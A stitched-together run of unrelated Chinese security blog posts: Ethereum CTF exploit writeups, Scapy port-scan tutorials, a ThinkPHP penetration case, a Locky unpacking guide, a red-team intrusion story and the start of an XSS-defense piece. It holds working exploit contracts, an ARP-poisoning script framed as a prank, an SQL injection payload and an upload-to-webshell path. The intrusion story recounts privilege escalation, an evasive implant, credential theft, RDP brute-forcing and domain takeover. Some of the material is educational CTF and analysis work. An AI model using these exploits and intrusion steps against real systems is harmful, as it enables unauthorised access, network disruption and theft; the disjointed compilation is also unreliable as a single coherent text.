修饰器，ctf修饰器就是我们的ctf_challenge函数即可。
但是isManager可以看到
modifier isManager() {
require(fundManagerEnabled[msg.sender] || debugAuthorizer.debugMode() || msg.sender == developer, "Unauthorized: Not a Fund Manager");
_;
}
但是我们最开始不可能操作的是fundManager 和 msg,sender.
只有这个debug 是可能使用的。
contract DebugAuthorizer{
bool public debugMode;
constructor() public payable{
if(address(this).balance == 1.337 ether){
debugMode=true;
}
}
}
可以发现 只要我们 提前往这个合约里面转账1.337 eth 我们就可以开启debug mode 从而实现任意给予权限 来提出余额。
所以这里考点就是 create的计算方式。
import rlp
from ethereum import utils
address = 0x6c6cabbbbfee4ecd2a3f68d427883975bdb36a3a
def calc(i):
nonce=i
rlp_res = rlp.encode([address, nonce])
# print(rlp_res)
sha3_res = utils.mk_contract_address(address, nonce)
#print(sha3_res)
sha3_res_de = utils.decode_addr(sha3_res)
print("contract_address: " + sha3_res_de)
def hack(mubiao):
for i in range(0,500000):
nonce=i
rlp_res = rlp.encode([address,nonce])
#print(rlp_res)
sha3_res = utils.mk_contract_address(address,nonce)
#print(sha3_res)
sha3_res_de = utils.decode_addr(sha3_res)
#print("contract_address: " + sha3_res_de)
if sha3_res_de==mubiao:
print("Right:{}".format(i))
break
str='1903a99b906943dc56fca3f652e799493ae82054'
str1='7d30443753e0eb8f217da3201b721f9b28ff57b8'
str2='81f19dee034dd328cae528bbd5b8f6bc964c69ee'
#hack(str)
#hack(str1)
#hack(str2)
calc(1)
上面的nonce 没看懂怎么算，考虑爆破出nonce 注意在 etherscan 上字母有大小写。 记得跑python 时候全部改成小写
通过如此可以算出来了。
然后提前转账 1.377 ether
然后直接at address 后直接调用 addFundManager
pragma solidity 0.4.24;
contract hack{
address target= 算出来debug 合约地址;
constructor ()payable
{
target.transfer(1.337 ether);
}
function() payable{}
}
* * *
## Raffle
这个题目有点像华为第三场的那题。
contract Raffle is CtfFramework{
uint256 constant fee = 0.1 ether;
address private admin;
bytes4 private winningTicket;
uint256 private blocknum;
uint256 public ticketsBought;
bool public raffleStopped;
mapping(address=>uint256) private rewards;
mapping(address=>bool) private potentialWinner;
mapping(address=>bytes4) private ticketNumbers;
constructor(address _ctfLauncher, address _player) public payable
CtfFramework(_ctfLauncher, _player)
{
rewards[address(this)] = msg.value;
admin = msg.sender;
}
function buyTicket() external payable ctf{
if(msg.value >= fee){
winningTicket = bytes4(0);
blocknum = block.number+1;
ticketsBought += 1;
raffleStopped = false;
rewards[msg.sender] += msg.value;
ticketNumbers[msg.sender] = bytes4((msg.value - fee)/10**8);
potentialWinner[msg.sender] = true;
}
}
function closeRaffle() external ctf{
require(ticketsBought>0);
require(!raffleStopped);
require(blocknum != 0);
require(winningTicket == bytes4(0));
require(block.number>blocknum);
require(msg.sender==admin || rewards[msg.sender]>0);
winningTicket = bytes4(blockhash(blocknum));
potentialWinner[msg.sender] = false;
raffleStopped = true;
}
function collectReward() external payable ctf{
require(raffleStopped);
require(potentialWinner[msg.sender]);
rewards[address(this)] += msg.value;
if(winningTicket == ticketNumbers[msg.sender]){
msg.sender.transfer(rewards[msg.sender]);
msg.sender.transfer(rewards[address(this)]);
rewards[msg.sender] = 0;
rewards[address(this)] = 0;
}
}
function skimALittleOffTheTop(uint256 _value) external ctf{
require(msg.sender==admin);
require(rewards[address(this)]>_value);
rewards[address(this)] = rewards[address(this)] - _value;
msg.sender.transfer(_value);
}
function () public payable ctf{
if(msg.value>=fee){
this.buyTicket();
}
else if(msg.value == 0){
this.closeRaffle();
}
else{
this.collectReward();
}
}
}
这个需要的是调用collectreward。
然后前面的前置条件我们可以发现这些条件都可以被buyticket 中的前几个满足。
还有一个raffleStopped 需要变成true 。
那这里我们发现fallback可以成功的调用，然后这里有一个未来随机数，所以这个随机数是不可以被预测的，但是区块链中计算区块
只会对相邻的256个区块进行计算，对于256个区块之前的函数就只会返回 0 值。
所以这里攻击链可以梳理出来了。
我们首先攻击合约buyticket然后这里已经触发了第一个>=fee的fallback。
然后把题目合约加入到ctf_challenge 中，因为我们的题目要自行调用closeRaffle函数。否则会revert的。
最后我们等待256区块后在触发closeRaffle函数最后在调用转账函数即可成功。
给出exp
contract exp{
address target=challenge address;
Raffle A = Raffle(target);
constructor()payable{}
function exp1()payable
{
A.buyTicket.value(0.1 ether)();
A.ctf_challenge_add_authorized_sender(target);
}
function exp2()payable
{
target.call.value(0 ether)();
A.collectReward();
}
function() payable{}
function dest()public{
selfdestruct(your address);
}
}
先调用exp1 然后等待256个区块过去， 在调用exp2.
成功调用。
* * *
## Scratchcard
给出合约的源码
pragma solidity 0.4.24;
import "../CtfFramework.sol";
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
}
contract Scratchcard is CtfFramework{
event CardPurchased(address indexed player, uint256 cost, bool winner);
mapping(address=>uint256) private winCount;
uint256 private cost;
using Address for address;
constructor(address _ctfLauncher, address _player) public payable
CtfFramework(_ctfLauncher, _player)
{
}
modifier notContract(){
require(!msg.sender.isContract(), "Contracts Not Allowed");
_;
}
function play() public payable notContract ctf{
bool won = false;
if((now%10**8)*10**10 == msg.value){
won = true;
winCount[msg.sender] += 1;
cost = msg.value;
msg.sender.transfer(cost);
}
else{
cost = 0;
winCount[msg.sender] = 0;
}
emit CardPurchased(msg.sender, msg.value, won);
}
function checkIfMegaJackpotWinner() public view returns(bool){
return(winCount[msg.sender]>=25);
}
function collectMegaJackpot(uint256 _amount) public notContract ctf{
require(checkIfMegaJackpotWinner(), "User Not Winner");
require(2 * cost - _amount > 0, "Winners May Only Withdraw Up To 2x Their Scratchcard Cost");
winCount[msg.sender] = 0;
msg.sender.transfer(_amount);
}
function () public payable ctf{
play();
}
}
这个题可以说是最拔高的一道题了。
首先这里有一个library 定义了一个 规则，他要求我们的调用者不能是一个 存在一个 size>0 的合约，那我们想操作的话 只能在constructor
进行所有的操作。
那我们就还是需要提前计算 我们部署的合约地址，然后在第三方合约的constructor 函数中部署好所有的攻击操作。
才能成功攻击合约。
然后我们来查看一下攻击链，目标是能够调用 collectMega 这个函数 首先是需要 check过，check过的话是需要win 25次。
然后需要 2cost-amount >0 这里没有使用safemath 库，可以下溢出。 那么就是cost2-=amount 下溢出
还是满足大于0，所以最后直接调用转3.5ether即可。
建议一次转完 否则会像我这样
用两个合约实现
contract exp{
address target=challenge address;
Scratchcard A=Scratchcard(target);
uint time;
constructor()payable{
uint val = (now%10**8)*10**10;
for (uint i=0; i<25; i++) {
A.play.value(val)();
}
A.collectMegaJackpot(0.02896594 ether);
selfdestruct(your address);
}
function() payable{}
}
contract hack
{
exp public nice;
constructor() payable{}
function chuang()public payable{
nice=(new exp).value(1 ether)();
}
}
先部署hack 然后预测create 的地址，之后调用ctf_challenge地址给予调用权限，最后再 chuang()即可
* * *
总结：
2天刷完了13题还是比较有成就感的。大家都可以慢慢来做一做
通过以上这些题目应该可以初步的对智能合约尤其是ctf中的题目有一个初步的了解。美中不足是现在的题目大多不会给出源码。所以我们可以自行利用各种decompile网站或者软件分析。 | 社区文章 |
# 简介
Scapy是一种用于计算机网络的数据包处理工具，由Philippe Biondi
用Python编写。它可以伪造或解码数据包，在线路上发送它们，捕获它们，并匹配请求和回复。它还可以处理扫描，跟踪路由，探测，单元测试，攻击和网络发现等任务。可以说Scpay非常强大
如果您并不是很了解Scapy，可以自行去看一下官方文档和demo：[链接](https://scapy.readthedocs.io/en/latest/usage.html
"链接")，因为这篇文章重点不是教您怎么用scapy的，所以这里就不多赘述了。
# 端口扫描
## TCP Connect扫描
### 原理
TCP
Connect扫描又称全连接扫描，此过程客户端会和服务端进行完整的3次握手。假设客户端想与服务端的80端口进行通信，首先客户端会发送一个带有`SYN`标识和端口号的TCP数据包给服务器，如果服务器这个端口是开放的，则会接受这个连接并返回一个带有`SYN`和`ACK`标识的数据包给客户端，随后客户端会发送带有`ACK`和`RST`标识的数据包给服务点，此时客户端与服务器建立了连接。如果端口不开放则会返回一个`RST`标识的数据包给客户端。
### 实现
代码实现：
> nmap的-sT模式
from scapy.all import *
import getopt
import sys
def scan(argv):
opts, args = getopt.getopt(argv, "-h:")
for opt,arg in opts:
if opt in ("-h"):
host=arg
all_port=[3306,80,22]
for port in all_port:
send=sr1(IP(dst=host)/TCP(dport=port,flags="S"),timeout=2,verbose=0)
if (send is None):
print "[+] %s %d \033[91m Closed \033[0m" % (host,port)
elif send.haslayer("TCP"):
if send["TCP"].flags == "SA":
send_1 = sr1(IP(dst=host) / TCP(dport=port, flags="AR"), timeout=2, verbose=0)
print "[+] %s %d \033[92m Open \033[0m" % (host, port)
elif send["TCP"].flags == "RA":
print "[+] %s %d \033[91m Closed \033[0m" % (host,port)
if __name__=="__main__":
scan(sys.argv[1:])
扫描结果如下：
## TCP SYN扫描
### 原理
TCP
SYN扫描又称半开式扫描，该过程不会和服务端建立完整的连接，首先客户端会发送一个带有`SYN`标识和端口号的TCP数据包给服务器，如果服务器这个端口是开放的，则会接受这个连接并返回一个带有`SYN`和`ACK`标识的数据包给客户端，随后客户端会返回带有`RST`标识的数据包而不是返回一个带有`ACK`和`RST`标识的数据包。如果目标端口处于关闭状态，则服务端会返回一个`RST`标识的数据包。
### 实现
代码实现，直接把TCP Connect扫描的改一行即可，把标识位改为`R`
> nmap的-sS模式
send_1 = sr1(IP(dst=host) / TCP(dport=port, flags="R"), timeout=2, verbose=0)
## TCP ACK扫描(大多数情况下用于防火墙检测)
### 原理
ACK 扫描不是用于发现端口开启或关闭状态的，而是用于发现服务器上是否存在有状态防火墙的，它的结果只能说明端口是否被过滤。如果你用`nmap
-sA`就会发现他只会返回两种结果`unfiltered`和`filtered`，因为`nmap -sA`就是ACK扫描的。
判断端口是否被过滤，分为两种情况：
* 发送一个flags为`ACK`报文，open(开放的)和closed(关闭的) 端口 都会返回RST报文，至于他们是`open`还是`closed`状态我们无法确定。不响应的端口，或者发送特定的ICMP错误消息(类型3，代号1，2，3，9，10， 或者13)的端口，标记为 filtered(被过滤的)。大致的流程如下图：
* 上面那种情况下是服务器`REJECT`掉数据包，所以客户端会有个`ICMP`包返回，如果是直接`DROP`掉的话，就会什么也不会返回，所以我们要判断该主机是否存在，因为如果一个主机存在的话，向它发送一个flags为`ACK`包的话，无论端口是否关闭都会有返回一个flags为`RST`包，如果是`DROP`是话就会一个数据包都不会返回，所以我们可以利用这一点去判断端口是否被过滤了，大致流程如下：
### 实现
iptables配置如下
代码实现
> nmap -sA模式
from scapy.all import *
import getopt
import sys
def scan(argv):
opts, args = getopt.getopt(argv, "-h:")
for opt,arg in opts:
if opt in ("-h"):
host=arg
all_port=[3306,80,22]
for port in all_port:
send=sr1(IP(dst=host)/TCP(dport=port,flags="A"),timeout=0.5,verbose=0)
if ping(host)==0 and send is None: #如果ping不通，则说明该主机处于关闭状态或我们是被过滤了
print "[+] The host is \033[91m Died or filtered\033[0m"
sys.exit(0)
elif ping(host) and send is None: #如果ping得通且没有数据返回
print "[+] %s %d \033[91m filtered \033[0m" % (host, port)
elif send.haslayer("ICMP"): #返回一个ICMP包
if(send["ICMP"].type==3 and (send["ICMP"].code in [1,2,3,9,10,])):
print "[+] %s %d \033[91m filtered \033[0m" % (host, port)
elif send["TCP"].flags=="R": #返回一个flags为RST的包
print "[+] %s %d \033[91m unfiltered \033[0m" % (host, port)
def ping(host): #ping判断主机是否存活
ping=sr1(IP(dst=host)/ICMP(),timeout=0.1,verbose=0)
if ping is not None:
return 1
elif ping is None:
return 0
if __name__=="__main__":
scan(sys.argv[1:])
扫描结果如下，我们可以明显地发现无论是`REJECT`或`DROP`都能检测出来
## TCP Window扫描
### 原理
它通过检查返回的RST报文的TCP窗口域做到这一点。 在某些系统上，开放端口用正数表示窗口大小(甚至对于RST报文)
而关闭端口的窗口大小为0。因此，当收到RST时，窗口扫描不总是把端口标记为 unfiltered，
而是根据TCP窗口值是正数还是0，分别把端口标记为open或者 closed。该扫描依赖于互联网上少数系统的实现细节， **因此您不能永远相信它**
。不支持它的系统会通常返回所有端口closed。 当然，一台机器没有开放端口也是有可能的。 如果大部分被扫描的端口是 closed，而一些常见的端口 (如
22， 25，53) 是 filtered，该系统就非常可疑了。 偶尔地，系统甚至会显示恰恰相反的行为。
如果您的扫描显示1000个开放的端口和3个关闭的或者被过滤的端口， 那么那3个很可能也是开放的端口。
### 代码实现
> nmap -sW模式
from scapy.all import *
import getopt
import sys
def scan(argv):
opts, args = getopt.getopt(argv, "-h:")
for opt,arg in opts:
if opt in ("-h"):
host=arg
all_port=[3306,80,22]
for port in all_port:
send=sr1(IP(dst=host)/TCP(dport=port,flags="A"),timeout=2,verbose=0)
if (send is None):
print "[+] the host is\033[91m Closed or filtered\033[0m"
sys.exit(0)
elif send.haslayer("TCP"):
if send["TCP"].window >0:
print "[+] %s %d \033[92m Open \033[0m" % (host, port)
elif send["TCP"].window ==0:
print "[+] %s %d \033[91m Closed \033[0m" % (host, port)
if __name__=="__main__":
scan(sys.argv[1:])
结果如下,为什么显示都是`closed`，这个因为系统的问题，如果你扫描windows的话都会显示`open`的，如果您认为是我写脚本错了的话，可以用`nmap`验证一下，
**不建议使用这种模式，除非特殊情况**
## TCP Null扫描
### 原理
在发送的数据包中不设置任何标志位(tcp标志头是0)，如果目标端口是开放的则不会回复任何信息。如果目标端口关闭则会返回一个`RST`+`ACK`的数据包，我在其它文章看到说是返回一个`RST`包，但是我用wireshark抓包`nmap
-sN`的过程发现并不是这样子的，返回的是一个flags为`RST`+`ACK`的数据包
## 实现
> nmap -sN模式
代码实现
from scapy.all import *
import getopt
import sys
def scan(argv):
opts, args = getopt.getopt(argv, "-h:")
for opt,arg in opts:
if opt in ("-h"):
host=arg
all_port=[3306,80,22]
for port in all_port:
send=sr1(IP(dst=host)/TCP(dport=port,flags=""),timeout=2,verbose=0)
if (send is None):
print "[+] %s %d \033[91m Open | filtered\033[0m"%(host,port)
elif send.haslayer("TCP"):
if send["TCP"].flags=="RA":
print "[+] %s %d \033[92m Closed \033[0m" % (host, port)
if __name__=="__main__":
scan(sys.argv[1:])
扫描结果
## TCP FIN扫描
### 原理
在发送的数据包中只设置`FIN`标志位，如果目标端口是开放的则不会回复任何信息。如果目标端口关闭则会返回一个`RST`+`ACK`的数据包
### 实现
> nmap -sF模式
**将TCP Null扫描发送的标志位改为F即可**
send=sr1(IP(dst=host)/TCP(dport=port,flags="F"),timeout=2,verbose=0)
扫描结果：
## TCP Xmas扫描
### 原理
在发送的数据包中设置`PSH,FIN,URG`标志位，如果目标端口是开放的则不会回复任何信息。如果目标端口关闭则会返回一个`RST`+`ACK`的数据包
### 实现
> nmap -sX模式
**将TCP Null扫描发送的标志位改为PFU即可**
send=sr1(IP(dst=host)/TCP(dport=port,flags="PFU"),timeout=2,verbose=0)
扫描结果
# Other
emmmm，这个好像和标题没有什么关系，但是还是挺好用的，所以这里就简单地提及一下。
## ARP扫描
我们还可以用scapy写一个ARP扫描的小脚本，代码实现如下
from scapy.all import *
import getopt
import sys
def scan(argv):
opts, args = getopt.getopt(argv, "-h:")
for opt,arg in opts:
if opt in ("-h"):
host=arg
arp=Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=host)
ans,unans=srp(arp,timeout=0.5,verbose=0)
print "[+] Scaned %d host"%(len(ans))
print "Host MAC"
for s,h in ans:
print "{} {}".format(h["ARP"].psrc,h["ARP"].hwsrc)
if __name__=="__main__":
scan(sys.argv[1:])
扫描结果如下：
## ARP断网攻击
### 原理
使用Scapy可以实现一个局域网的ARP投毒攻击，使对方断网， **整蛊一下舍友还是不错的23333**
主机A（目标IP）：`192.168.163.128`
主机B（本机IP）：`192.168.163.132`
网关地址：`192.168.163.2`
其实这个攻击原理也很简单，就是B主机告诉A主机我就是网关，然后A主机就会傻傻地相信B主机就是网关，就会把数据通过B主机转发出去给外网，如果B主机没有开启转发功能，流量就转发不出去，就会造成断网。
### 实现
代码实现：
from scapy.all import *
import getopt
import sys
def attack(argv):
opts, args = getopt.getopt(argv, "-h:-m:")
for opt,arg in opts:
if opt in ("-h"):
host=arg
if opt in ("-m"):
Bcast=arg
print "[+]: Status: \033[91m Attacking \033[0m"
print "[+]: Host: \033[92m %s \033[0m"%(host)
pkt = ARP(psrc=Bcast, pdst=host, op=2)
srloop(pkt,verbose=0)
if __name__=="__main__":
attack(sys.argv[1:])
可以发现目标机已经连不上外网了
### 防范
防范也很简单，将网关的IP和MAC地址的关系绑定写入arp缓存表即可，具体怎么操作百度就有了，我这里就不多赘述了
# Reference
<https://nmap.org/man/zh/man-port-scanning-techniques.html>
<https://scapy.readthedocs.io/en/latest/usage.html> | 社区文章 |
> 第一次投稿，表哥们亲拍
## 1、 ThinkPHP
`ThinkPHP是一个开源免费的，快速、简单的面向对象的轻量级PHP开发框架，是为了敏捷WEB应用开发和简化企业应用开发而诞生的。同时遵循Apache2开源许可协议发布，意味着你可以免费使用ThinkPHP，甚至允许把你基于ThinkPHP开发的应用开源或商业产品发布/销售`
`ThinkPHP (TP)` 算是国内主流的一个PHP框架，首先上手快，资料多，学习成本很低，而且也是我第一个接触的MVC框架。
TP主要分为以下几个版本： `TP3` 、 `TP5` 、 `TP6`
大可能出现漏洞的范围，或者说常见的漏洞（肯定不全，一般的思路）：
* TP3
* SQLi
* TP5
* RCE
* TP6
* 任意文件操作
由于 `TP` 是个国内较为主流的框架，在SRC或者众测中经常遇到基于 `TP`的业务系统，那么接下来，我会以案例讲解我渗透 `TP` 的思路。
### 1.1 确定版本
对于确定版本信息，一般可以在xxx/index.php/index/ `任意字符`
一般就会出现无法找到控制器的报错信息，就可以确定版本（如果没自定义错误页面的话）。
## 2、案例1- `.SVN` -> `SQLi` -> `GetShell`
### 2.1 .SVN
在挖掘某SRC时，直接一个登陆界面，简单查看url为： `xxxx/index.php/Home/Login` ，初步判定 `TP` 框架
随手加上 `.SVN`，403 ，稳了。 `SVN` 泄露，利用：<https://github.com/admintony/svnExploit/>
把源码download下来：
某些关键字可能与SRC有关，因此隐去。
> ├── Application 应用目录（一般前后台两个应用）
> │ ├── Admin
> │ │ ├── Action 控制器 （重要）
> │ │ ├── Common
> │ │ ├── Conf
> │ │ ├── Model
> │ │ ├── View
> │ │ └── index.html
> │ ├── Common （公共配置文件）
>
> │ ├── Home
>
> │ │ ├── Action 控制器（重要）
>
> │ │ ├── Common
>
> │ │ ├── Conf
>
> │ │ ├── Model
>
> │ │ ├── View
>
> │ │ └── index.html
>
> │ └── Lib （库）
>
> ├── Public 公开资源，例如js，css，或者上传的image
>
> │ ├── css
>
> │ ├── font-awesome
>
> │ └── js
>
> ├── ThinkPHP TP的程序，只要看到版本就ok
>
> │ ├── Common
>
> │ ├── Conf
>
> │ ├── LICENSE.txt
>
> │ ├── Lang
>
> │ ├── Library
>
> │ ├── Mode
>
> │ ├── ThinkPHP.php
>
> │ ├── Tpl
>
> │ └── logo.png
>
> ├── Uploads 在该SRC中，上传存放此处
>
> │ ├── Uploads
>
> │ └── files
>
> ├── index.html
>
> ├── index.php 入口文件
其他没写出来的，不是不重要，是我一般不太看（大笑）。
### 2.2 SQLi
对于前台的话，我建议先看Home，因为这里的一般不需要登陆，没有鉴权。在这里因为没前台，因此我直接看登陆的方法
(有一些变量可能和SRC有关，就此用x代替)
很明显，x 存在SQLi
payload如下：
POST /Home/Login/checkLogin.html HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
Content-Length: 152
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip
extension=xxx&x[0]=exp&x[1]==(select*from(select+sleep(5)union/**/select+1)a)&password=xxxx
当然sqlmap指定x是跑不出来的，需要对payload做些处理：
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
Content-Length: 152
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip
extension=xxx&x[0]=exp&x[1]==(select from(*)a)&password=xxxx
ok，将一部分转换成*，sqlmap指定，就可以跑出来，盲注。
### 2.3 Getshell
`TP`
的代码审计，对于TP3的话，我的建议是先找敏感函数吧。因为不是专门代码审计的文章，我们SQLi有了，有个低权限的账号登陆成功。对于要传shell，首选上传漏洞
一般全局查找upload关键字：
在这里的时候就发现，Admin应用下存在上传点：
这里任意文件上传，已弃用，但是没删掉。黑人问号？？？？
注意第三行代码：
class ManageAction extends BaseAction
BaseAction 一般为权限控制类（我偷偷看了BaseAction代码，偷笑），那么这个控制器里的方法必须要登陆才可以访问。
public function uploadPic()
{
if ($_FILES['pic']['error'] != 4) {
$image_name = time() . rand(1000, 9999) . "." . end(explode(".", $_FILES['pic']['name'])); //图片名称
move_uploaded_file($_FILES['pic']['tmp_name'], './Uploads/images/login_pic/' . $image_name); //上传图片
$data['pic_path'] = "/Uploads/images/login_pic/" . $image_name;
$data['title'] = $_POST['title'];
$data['addtime'] = time();
M("login_pic")->add($data);
$this->success("上传成功");
} else {
$this->error("上传失败");
}
}
注意这一句： `$image_name = time() . rand(1000, 9999) . "." . end(explode(".",
$_FILES['pic']['name'])); //图片名称` 时间加随机数，可以爆破的，但是作为有代码有SQLi的咱们，并不需要那么复杂。
$data['title'] = $_POST['title'];
$data['addtime'] = time();
M("login_pic")->add($data);
他这里有将文件名路径插入数据库的操作，上传shell之后，直接去数据库查询即可。
Getshell：
当然这里还有个小问题，为了照顾新学习tp的童鞋，如何访问控制器里的方法：
一般是 `xxxxx/index.php/应用名称/控制器名/方法名（没其他方法的话，默认index）`
在这里就是：
`xxx/index.php/Admin/Manage/loginPic` 这个路径，当然，具体还是看tp是怎么配置的，一般是这样。
当然
在这里师傅们肯定会发现，这种情况会有新的`fuzz`情况产生。
## 3、案例2 Fuzz TP方法。
`xxx/index.php/Admin/Manage/loginPic`
如果后台某些控制器权限控制不严格，可能会有未授权的产生，在这里可以对
`loginPic`进行Fuzz。在挖掘某SRC时，就遇到这个情况，也是TP的框架，直接Fuzz方法（或者控制器名称都可）：
这里没截到，当时fuzz出来一个upload控制器，然后就getshell咯
### 4、结尾
现在TP框架挺常见，在SRC中，TP3的版本尤为多见，相信各位老哥有各种各样的姿势。
我这就抛砖引玉一波。
以上案例均由我与@v1gle 协作完成，感谢！！！ | 社区文章 |
# 【技术分享】如何手脱Locky自定义壳
|
##### 译文声明
本文是翻译文章，文章来源：安全客
原文地址：<http://struppigel.blogspot.com/2017/08/unpacking-locky.html>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[我来学英语](http://bobao.360.cn/member/contribute?uid=1264882569)
预估稿费：130RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**前言**
****
Locky是一款勒索软件，因其加密后的文件后缀为.locky而得名。不同于一般的软件，Locky使用了自定义壳对代码进行保护，增加了对其进行静态分析的难度。这篇文章将教你一些小技巧并向你演示如何对Locky进行脱壳。
**手脱Locky自定义壳**
我将向你演示如何使用Ollydbg来给Locky脱壳。这个壳其实是比较简单的一种，但是需要你去分析。你可以去[Hybrid-Analysis](https://www.hybrid-analysis.com/sample/49a48d4ff1b7973e55d5838f20107620ed808851231256bb94c85f6c80b8ebfc?environmentId=100)下载样本。
通常我会先使用PE静态分析工具，比如[PortexAnalyzer](https://github.com/katjahahn/PortEx/tree/master/progs)对脱壳样本进行静态检测。如果分析结果如下图，那么这就告诉我们这个样本是加了壳的。样本的多个节都是高熵值的，包括.rdata段
像die（[detect it easy](https://github.com/horsicq/Detect-It-Easy)）这样的查壳工具是不知道如何对这个样本进行脱壳的，因为这个壳是自定义壳。自定义壳经常会在恶意样本中出现。
Locky的加壳器有一个比较奇怪的特征，它总是在文件版本信息中添加“ **32-bit Edition** ”字样，其他信息每次都会变化。
StringFileInfo
--------------- language ID: 0x0409
code page: 0x04b0
CompanyName: Doubtsoftware.com
FileDescription: Advanced Task Scheduler 32-bit Edition
FileVersion: 4.1.0.612
InternalName: #dvenced Task Scheduler 32-bit Edition
LegalCopyright: Copyright © Southsoftware.com, 2002-2015
OriginalFilename: Bifscheduler_edmin.exe
ProductName: Advanced Task Scheduler 32-bit Edition
ProductVersion: 4.1.0.612
Debug Information也是未知类型，因此Portex也无法给出进一步分析信息。
Debug Information
*****************
Time Date Stamp: Thu Dec 09 05:07:00 CET 2083
Type: 4102553603 no description available
如果你研究过这个样本（你可以使用hex
editor搜索“RSDS”），就会知道样本中包含一个调试路径，这个路径看起来是随机的，当然也可能是被故意修改成看起来随机的：
Z:as28cxkoaoazoozykzl0tjxw9y4cnijyc6mq3mvnt.pdb
尽管这个信息没法帮助我们脱壳，但是它可以作为这种加壳器的特征。以后再碰到这条信息，我们就可以知道是使用这种加壳器加壳的了。对样本进行字符串和导入表检查似乎也没什么用。
如果你拿到这个样本时还比较早，通过动态调试你可以很轻松的认出他就是Locky。但是如果你拿到的样本比较新，或者他的C&C服务器不再使用，那么它就不会进行加密动作。
现在使用Ollydbg来调试它，别忘了给你的虚拟机做快照。程序加载后可以一直按F8步过，按得时候看着点别跑飞了。如果你不小心在下面这个call上步过了，你就会看到样本执行了一大堆动作，这时你只能重新载入这个样本了。你要做的是按F7步进这个call。
下面这个call也是一样的，按F7步进
后面的操作类似，仔细盯着屏幕，只要没执行一堆作就一直按F8步过。
在地址0x402364处你会注意到代码正在写.rdata段（地址0X417EE）。如果你在这下一个断点，一直按F9并且在数据窗口中看着.rdata所在的内存位置，你就可以看到.rdata段是怎样被解密成那个代码的。
跳转到.rdata段的jump命令在地址0x4020F0出现。
这个地方需要注意，push命令后紧跟ret相当于一个jump操作。ret命令会使你跳转到0x41577A。与上面 **PortexAnalyzer**
生成的报告进行对比，或者从Ollydbg的内存窗口你可以确认，这就是.rdata段的虚拟地址。
但是我们的工作并没有结束，rdata段处被解密的代码仍然是加壳stub（用于将加壳后的代码解密的代码）。所以我们还需要按F8跟踪这段代码一会。在跟踪的过程中你会看到代码开始使用
**GetProcAddress** 收集常见DLL方法的地址，其中一个方法是 **RtlDecompressBuffer**
，这个方法经常被加壳器用来执行脱壳操作。
调试到地址0x415B37时停下
在eax寄存器上右击，选择反汇编器中跟进
现在就可以看到 **RtlDecompressBuffer** 方法的代码了。在PUSH DWORD PTR [EBP + C]命令处下断点
在EDI寄存器上右击选择数据窗口中跟进
可以看到现在数据窗口是空的
按F8之后，解密后的代码就会出现在这部分内存中
最后一件事，打开内存窗口，选择这部分内存，右击选择保存到可执行文件
选择要保存的位置就完成了。得到的二进制文件就是脱壳后的lockey你可以把它加载到hex editor中来查看他的字符串，这样就可以确定这是一个Locky了 | 社区文章 |
一、信息收集（柳暗花明）
收集到的信息都是有价值的，无非是要确认 What->Why->How ，找到通往罗马的那条路，实现外围打点、边界突破的目的。
在一次攻防实战中，正面、子域刚不过；确认了几个IP是有效资产后，识别到的端口应用又啃不动，陷入僵局；重整旗鼓，去看看开放的其他端口是干嘛地。确认开了8101、8102端口，访问8101端口直接来个白板：
没事多问为什么，存在就有意义；继续尝试，扫它一波，回显了几个目录：
这就是收获，继续走着，就看信息能收集到什么程度；又发现了一个路径：
拼接目录，继续；有东西了：
端详这个文件，发现有多个接口：
尝试访问个接口，有个注册功能：
先不急测试，查看“注册条款及隐私协议”，发现是目标的一个APP：
为方便测试，直接互联网下载这个APP安卓最新版本进行测试。
直接尝试文件上传，最后改了Content-Type参数，直接成功上传返回路径：
shell连接成功：
权限不高，Godzilla尝试进行提权，成功（运气上来了）：
看看进程，有数字杀软：
执行命令远程下载免杀马，成了：
执行，也成了：
上线，还成了：
至此，外围打下个点。
二、定位域控（收米跑路）
天下武功，唯快不破，路数之一就是干完就跑路。
下一步目的很明确：拿域控、跑路、交报告。
对服务器本地环境进行信息收集：
1、不在域
2、操作一番，读出个明文登录凭证：
3、网络层发现2个IP段，直接用收集到的凭证进行RDP爆破（采集到的密码后四位是年份，怀疑其它密码会有此规律，改了几个年份构造密码字典）；先不管内网有没有防护，线程调高，争取尽早跑完。
真跑出了几台，密码后面是 ****** 2017（别怪我内网地址也打码）：
直接远程登录，是在域机器：
定位到域控：
直接尝试获取凭证，有收获：
成功登录域控：
是个域管：
跑路，交报告。
三、总结
运气挺好。 | 社区文章 |
# 前端防御XSS及XSS报警机制
|
##### 译文声明
本文是翻译文章，文章来源：Black-Hole
译文仅供参考，具体内容表达以及含义原文为准。
**author:Black-Hole**
前言:
我不否认前端在处理XSS的时候没有后端那样方便快捷,但是很多人都在说过滤XSS的事就交给后端来做吧。前端做没什么用。我个人是非常反感这句话的。虽然说前端防御XSS比较麻烦,但是,不是一定不行。他只是写的代码比后端多了而已。而且前端防御XSS比后端防御XSS功能多,虽说后端也可以完成这些功能,但是代码量会比前端代码多很多很多。其实说了那么多,交给nginx||apache||nodeJs||Python会更好处理。但是我不会C,也就没办法写nginx模块了。而且也不在本文章的范围内,等我什么时候学会C再说把。有人会问为什么不直接防御,而是不防御报警呢。很简单,因为防御的话,攻击者会定位到那一段的JavaScript代码,从而下次攻击的时候绕过代码。如果不防御而报警的话,攻击者会降低警觉,不会在看JavaScript代码(至少我是这样)。回到正题,下面说的代码,是基于thinkphp框架和bootstrap3.3.5框架。如果你的网站没有使用thinkphp3.2.3框架的话,可以参照我的思路重新写一个。这里我强调一下“前端防御XSS是建立在后端忘记做过滤,没有做过滤,疏忽做过滤的基础上的。
**
**
**0x01:后端数据反馈过滤**
